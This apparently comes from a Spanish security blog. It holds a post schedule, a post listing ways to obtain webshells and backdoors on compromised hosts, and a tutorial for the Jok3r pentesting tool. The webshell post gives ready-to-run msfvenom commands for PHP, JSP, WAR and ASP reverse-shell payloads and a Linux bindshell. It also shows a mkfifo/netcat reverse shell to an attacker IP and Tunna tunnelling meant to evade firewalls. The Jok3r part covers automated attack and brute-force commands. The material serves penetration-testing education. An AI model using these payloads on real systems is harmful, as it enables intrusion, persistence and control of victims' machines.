Para que podáis seguir el blog de una forma más cómoda, he decidido crear este post que marcaré como fijo y en el que podréis ver qué se irá publicando próximamente.  Se actualizará con frecuencia en la medida en la que vaya escribiendo más artículos así que lo puedes usar como bitácora o referencia de futuras publicaciones. También puedes postear un comentario sobre ideas para mejorar, posts sobre algún tema que te gustaría ver publicado aquí o si estás interesado en escribir algún artículo en este espacio. Como siempre, las aportaciones son bien recibidas. Si quieres contactar conmigo para otro asunto, lo puedes hacer escribiendo a mi correo adastra@thehackerway.com

 

Aquí puedes ver la lista de los posts del 2021.


 

Fecha Post Descripción
03/05/2022 Seguridad en APIs Rest: Asignación masiva En este post se explica en qué consisten las vulnerabilidades de asignación masiva (Mass Assignment) en APIs Rest y se enseña un ejemplo.
05/05/2022 DevSecOps y detección de vulnerabilidades con Trivy. Uso de la herramienta Trivy para la detección de vulnerabilidades en la etapa de deploy y release en el proceso de DevSecOps.
10/05/2022 Vulnerabilidad critica RCE en Spring Framework. Explicación y pruebas sobre la última vulnerabilidad que se ha producido en Spring Framework y el motivo por el que las aplicaciones basadas en Java con este framework deben actualizar cuanto antes.
12/05/2022 PyScript: Ejecuta scripts en Python en tu navegador web – Parte 1 de 2 Primera parte en la que se explica el proyecto pyscript, el cual permite la ejecución de scripts en Python directamente en páginas HTML.
17/05/2022 PyScript: Ejecuta scripts en Python en tu navegador web – Parte 2 de 2 Segunda parte en la que se explora el proyecto y se descubren sus limitaciones, especialmente desde la perspectiva de un pentester o atacante.

 

Un saludo y Happy Hack!
Adastra.

Categorías
Hacking MetaSploit Networking Programacion Services - Software Web Applications

15 formas de generar una webshell – Parte 3

Continuando con este listado de webshells, mencionaremos otras alternativas que pueden resultar útiles/interesantes en entornos concretos. Como siempre depende del vector de ataque empleado y de las características concretas del objetivo, por ese motivo es recomendable conocer múltiples opciones como las que se han descrito en las 2 entradas anteriores que podéis ver aquí y aquí.

11. python-pty-shells. (https://github.com/infodox/python-pty-shells)

Se trata de un conjunto de scripts que permiten establecer backdoors en el sistema comprometido basados en Python. Hay que tener en cuenta que en la mayoría de distribuciones basadas en GNU/Linux (por no decir que en todas) nos vamos a encontrar un interprete de Python instalado por lo tanto éste tipo de herramientas pueden ser muy útiles a la hora de establecer sesiones persistentes contra el sistema comprometido que soportan todas las características de una terminal TTY, es decir, la posibilidad de ejecutar comandos interactivos sin perder la conexión, como sí que ocurre con algunas webshells. Hay que tener en cuenta que se trata de un proyecto un poco antiguo y que solamente soporta Python 2.7, por lo tanto si se quiere utilizar Python 3.x en el sistema objetivo sería necesario instalar y ejecutar una herramienta como “2to3” para convertir dichos scripts a una versión compatible con Python 3.x. Por otro lado hace falta tener instalada la librería “PySCTP” ya que las shells disponibles en éste repositorio soportan protocolo TCP, SCTP y UDP. Como se puede ver en la siguiente imagen, se puede abrir una “bind shell” en una terminal y en otra establecer la conexión.

El script sctp_pty_bind.py permite crear una bindshell en el sistema comprometido en el puerto 31337 (se puede cambiar editando la variable “lport”). Mientras que el script sctp_pty_shell_handler.py permite establecer una conexión contra dicha bindshell utilizando protocolo SCTP. Cabe mencionar que el script sctp_pty_shell_handler.py también permite la creación de una reverse shell.

En este caso se utiliza el script sctp_pty_shell_handler.py para abrir el puerto en la máquina del atacante y luego, en la máquina de la víctima se ejecuta el script sctp_pty_backconnect.py para de esta forma recibir la shell.
Como mencionaba anteriormente, hay shells en TCP y UDP, os recomiendo que les echéis un vistazo también.

12. Msfvenom.

Tampoco podía faltar en éste listado la posibilidad de generar diferentes tipos de webshells con Msfvenom. Como muchos de los lectores de este blog sabrán, se trata de una utilidad que se encuentra incluida en Metasploit Framework y se encarga de generar muestras de payloads en diferentes formatos. De esta forma es posible seleccionar un payload existente en el framework e indicarle a Msfvenom que lo inyecte en un fichero PHP, JSP, Python o incluso en binarios para plataformas Windows, Linux o APKs para Android. Algunas de las webshell que se pueden crear son las siguientes:

PHP
msfvenom -p php/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f raw -o shell.php

JAVA
msfvenom -p java/jsp_shell_reverse_tcp LHOST=IP LPORT=PORT -f raw -o shell.jsp
msfvenom -p java/jsp_shell_reverse_tcp LHOST=IP LPORT=PORT -f war -o shell.war

ASP/ASPX
msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f asp -o shell.asp
msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f aspx -o shell.aspx

13. Tunna. (https://github.com/SECFORCE/Tunna)

Otro proyecto que me resulta muy interesante. Más que una simple webshell se trata de un conjunto de herramientas que sirven para túneles HTTP entre una víctima y atacante aunque existan mecanismos de seguridad en medio, como por ejemplo un Firewall. Esta diseñado precisamente para evadir restricciones relacionadas con entornos en los que no es posible realizar conexiones de forma arbitraria contra cualquier puerto.
El funcionamiento de Tunna se resume en los siguientes pasos:
1. El atacante debe tener la posibilidad de subir una webshell de cualquiera de los tipos disponibles en Tunna, ASPX, JSP o PHP.
2. El atacante debe tener la posibilidad de subir una bindshell (generada con metasploit, por ejemplo) a la cual, evidentemente no será posible acceder directamente debido a restricciones de un firewall en el entorno de la víctima.
3. El atacante utiliza Tunna para conectarse a la webshell subida en el paso 1 y posteriormente, establece el puerto local en la máquina del atacante y el puerto de la bindshell. Tunna se encargará de crear un túnel HTTP entre ambos puertos, utilizando la webshell que se ha subido anteriormente como punto canal de transmisión.

Se verá ahora estos puntos en detalle:
1. Dependiendo de la plataforma, se debe subir la webshell adecuada. En el directorio “webshells” del proyecto se pueden ver 3 ficheros: conn.aspx, conn.jsp y conn.php. En este caso concreto, se subirá el fichero “conn.php” a un servidor web Apache con soporte para PHP.
2. A continuación, se va a crear una bindshell para Linux, la cual se moverá junto con el fichero “conn.php” al servidor comprometido.

msfvenom -p linux/x64/meterpreter/bind_tcp RHOST=192.168.1.60 LPORT=4443 -f elf -o bindshell

En éste caso, evidentemente la propiedad RHOST tiene el valor correspondiente a la IP del servidor comprometido.
3. Finalmente Se crea el túnel HTTP utilizando Tunna.

En este caso el túnel se abrirá en la máquina del atacante en el puerto “8990” y todas las peticiones entrantes por ese puerto van a ser enrutadas por Tunna utilizando el túnel HTTP, el cual permitirá establecer la conexión con la bindshell en la máquina comprometida, la cual estará en estado de escucha en el puerto “4443”.

14. WebDelivery de Metasploit.

Se trata de una alternativa que puede venir bien a la hora de generar una sesión contra la máquina comprometida cuando ya se ha detectado un punto de inyección valido (RCE, Command Injection, sesión RDP/SSH o File Upload). Una de las ventajas que tiene éste mecanismo de Metasploit es que no escribe nada en disco, con lo cual es muy probable que permita la evasión de mecanismos de seguridad en el sistema comprometido, además por defecto levanta un servidor web en local (máquina del atacante) para recibir la conexión.

El payload por defecto está basado en Python pero es bastante versatil y soporta otros tipos de payloads basados en PHP, ASP o en formatos binarios. En el momento en el que se ejecuta el comando “exploit” el modulo levanta el servidor en la IP y puerto especificados y a continuación enseña un comando que debe ejecutarse en la víctima. Evidentemente, una vez se ejecuta dicho comando en la máquina comprometida, se obtiene una sesión en la máquina del atacante.

15. netcat (otra vez) pero sin soporte a “-e”.

Volviendo a Netcat, tal como se ha comentado en la primera parte de ésta serie aunque la versión instalada en la máquina de la víctima no cuente con la opción “-e” aún es posible vincular una shell y crear conexiones del tipo “bind” o “reverse”. Para ello es necesario crear una pipe con “mkfifo” y a continuación vincularla con el puerto de netcat y una shell. Por ejemplo:

mkfifo /tmp/test_revshell; nc -vv 192.168.1.116 8889 0</tmp/test_revshell | /bin/bash > /tmp/test_revshell 2>&1
Ejecutando el comando anterior será suficiente para crear una reverse shell con netcat sin utilizar “-e”.


Esto mismo también es posible generarlo con “msfvenom” y el payload “cmd/unix/reverse_netcat”.
msfvenom -p cmd/unix/reverse_netcat lhost=192.168.1.60 lport=8889 R

Creo que ha quedado un listado bastante completo pero si conoces alguna otra webshell interesante o curiosa, no dudes en compartirla escribiendo un comentario.

Un saludo y Happy Hack.
Adastra.

Categorías
Hacking MetaSploit Networking Services - Software Web Applications

Herramientas de pentesting interesantes: Jok3r – Parte 2

En el post anterior se ha comenzado a hablar de Jok3r y sus funcionalidades básicas, una herramienta que es interesante desde el punto de vista de un pentester dado que integra muchas de las herramientas de uso común en auditorías de red y web. En dicho post solamente se han mencionado los comandos básicos, el manejo de bases de datos locales y cómo instalar la herramienta utilizando la imagen oficial de Docker. Ahora, resulta conveniente ver cómo utilizar lo visto anteriormente para realizar verificaciones de seguridad sobre un entorno concreto.
El comando utilizado para realizar las verificaciones de seguridad incluidas en Jok3r es “attack” el cual recibe múltiples opciones que sirven para configurar los detalles del objetivo, añadir los resultados a una base de datos local concreta o incluso para realizar ataques a múltiples objetivos que se encuentran almacenados en alguna “mission” de Jok3r. En la configuración del ataque es posible utilizar un perfil existente en Jok3r, que tal como se ha visto en el post anterior a este, se pueden consultar con el comando “info” de la siguiente forma:

python3 jok3r.py info –attack-profiles

Opciones en el comando “attack”

A continuación se verá una lista de las opciones disponibles para el comando “attack”, las cuales hay que conocer para poder lanzar las pruebas correctamente.

Opción Descripción
-t / –target Permite especificar el objetivo del ataque. Puede ser una IP:Puerto, un nombre de dominio o una URL.
-s / –service Permite especificar un servicio concreto a auditar.
–add2db Permite añadir o actualizar los resultados obtenidos por el comando en la “mission” (base de datos local) especificada. Si no se utiliza esta opción, los resultados son añadidos/actualizados directamente en la mission “default”.
-m / –mission Permite leer una mission local y lanzar los checks de seguridad contra todos los objetivos registrados en dicha mission.
-f / –filter Filtro sobre los objetivos a los que se deben ejecutar las pruebas de seguridad. Normalmente viene acompañada de la opción “-m”. Los filtros disponibles son ip, host, port, service, url, osfamily y banner. Además, cada filtro debe venir separado por “;” y la sintaxis es “filtro=valor”. Por ejemplo:
«ip=10.1.1.0/24,10.0.0.4;port=80,8000-8100;service=http». También es posible repetir esta opción varias veces en el mismo comando.
–new-only Realiza las pruebas de seguridad únicamente sobre los servicios que no han sido probados previamente.
–nmap-banner-grab Habilita o deshabilita un escaneo con Nmap del tipo “service detection”. Valores validos “on” y “off”
–reverse-dns Habilita o deshabilita las peticiones DNS reversas contra el objetivo. Valores validos “on” y “off”
–profile Permite ejecutar un perfil de ataque concreto.
–cat-only Permite ejecutar las pruebas de seguridad sobre las categorías especificadas únicamente. Cada categoría se indica separada por coma.
–cat-exclude Permite ejecutar las pruebas de seguridad sobre todas las categorías excepto sobre las especificadas en esta opción. Cada categoría se indica separada por coma.
–checks Permite ejecutar los checks especificados en esta opción. Cada check se indica separado por coma.
–fast Modo rápido. Desactiva la interacción con el usuario y todas las verificaciones se ejecutan en modo desatendido.
–recheck Si un check se ha ejecutado previamente, se vuelve a lanzar. Esto es útil especialmente cuando se utiliza una mission sobre la que se ha trabajado previamente e interesa que se vuelvan a realizar todas las comprobaciones.
-d Habilita el modo “debug”.
–userlist En el caso de encontrar un formulario o mecanismo de autenticación, la herramienta ejecuta un atacante por diccionario con listas que vienen incluidas en la herramienta. Con esta opción se utiliza una lista de usuarios indicada por el usuario
–passlist Con esta opción se utiliza una lista de contraseñas indicada por el usuario
–cred En el caso de que se cuente con las credenciales de un servicio concreto, en lugar de permitir que la herramienta ejecute un ataque de fuerza bruta se pueden indicar dichas credenciales en esta opción de la siguiente forma: –cred <service> <user> <pass>
–user Permite especificar un usuario concreto con el que se deberán realizar los ataques de fuerza bruta en el caso de encontrar un formulario o mecanismo de autenticación.
–option Permite especificar una opción personalizada, por ejemplo una cabecera HTTP concreta para realizar las peticiones contra un sitio web.

Conociendo las opciones, ya se puede utilizar el comando “attack” sin limitaciones. Evidentemente la forma más simple de hacerlo es contra un objetivo concreto y lanzando todas las comprobaciones. Por ejemplo:

python3 jok3r attack -t http://192.168.1.50/twiki/

La herramienta intenta obtener información sobre el servidor web utilizando “Wappalyzer” y también ejecuta un escaneo del tipo “service detection” para identificar el banner del servicio con Nmap. Al no indicar la opción “–add2db” todos los resultados serán guardados en la mission “default”.

Después de recopilar toda la información, la herramienta solicita confirmación para iniciar el ataque. Las comprobaciones pueden tardar un buen rato y en segundo plano, la herramienta se encargará de almacenar los resultados en la mission correspondiente. No obstante, dado que no se ha indicado la opción “–fast”, la herramienta pedirá confirmación antes de lanzar cualquier prueba, lo cual puede ser bastante tedioso tal como se enseña en la siguiente imagen.

El siguiente comando se encargará de lanzar todas las comprobaciones, en modo “fast” y añadiendo los resultados a la mission “adastra”.

python3 jok3r.py attack –fast -t http://192.168.1.50/twiki/

En la medida en la que se van ejecutando las pruebas, se puede apreciar la ejecución de herramientas comunes como “dirsearch”, “wig”, “nikto”, “h2t”, módulos de metasploit y scripts para la detección de vulnerabilidades en CMS, servidores de aplicación y frameworks concretos, aunque evidentemente muchas de estás comprobaciones estarán fuera de contexto dependiendo del objetivo a analizar.

Se pueden combinar todas las opciones indicadas en la tabla anterior, permitiendo ejecutar la herramienta de un modo más concreto contra el objetivo a analizar, por ejemplo.

 

#python3 jok3r.py attack -t 192.168.1.50:21 -s ftp –cat-only recon –add2db ftpmission
#python3 jok3r.py attack -m adastra -f «port=21;service=ftp» –fast #python3 #python3 jok3r.py attack -m adastra -f «port=2222;service=ssh;ip=192.168.1.1» -f «ip=192.168.1.50;service=ftp” –fast –recheck

Finalmente, cuando finalizan las comprobaciones de seguridad realizadas por la herramienta, todos los resultados se quedan almacenados en la base de datos local y a continuación se puede generar un reporte con la opción “report” del comando “db” tal como se enseña en la siguiente imagen.

Una vez se abre el reporte, se muestra cada una de las herramientas y pruebas realizadas para los hosts que se encuentran almacenados en la “mission” seleccionada. Se trata de un informe en formato HTML que está muy bien estructurado y que da una visión general de las vulnerabilidades descubiertas y la ejecución de las herramientas incluidas en el toolbox.

Bien, esto es todo sobre Jok3r, en el próximo post de esta serie hablaré sobre otra herramienta para pentesting que seguramente te resultará también muy interesante.

Un saludo y Happy Hack
Adastra.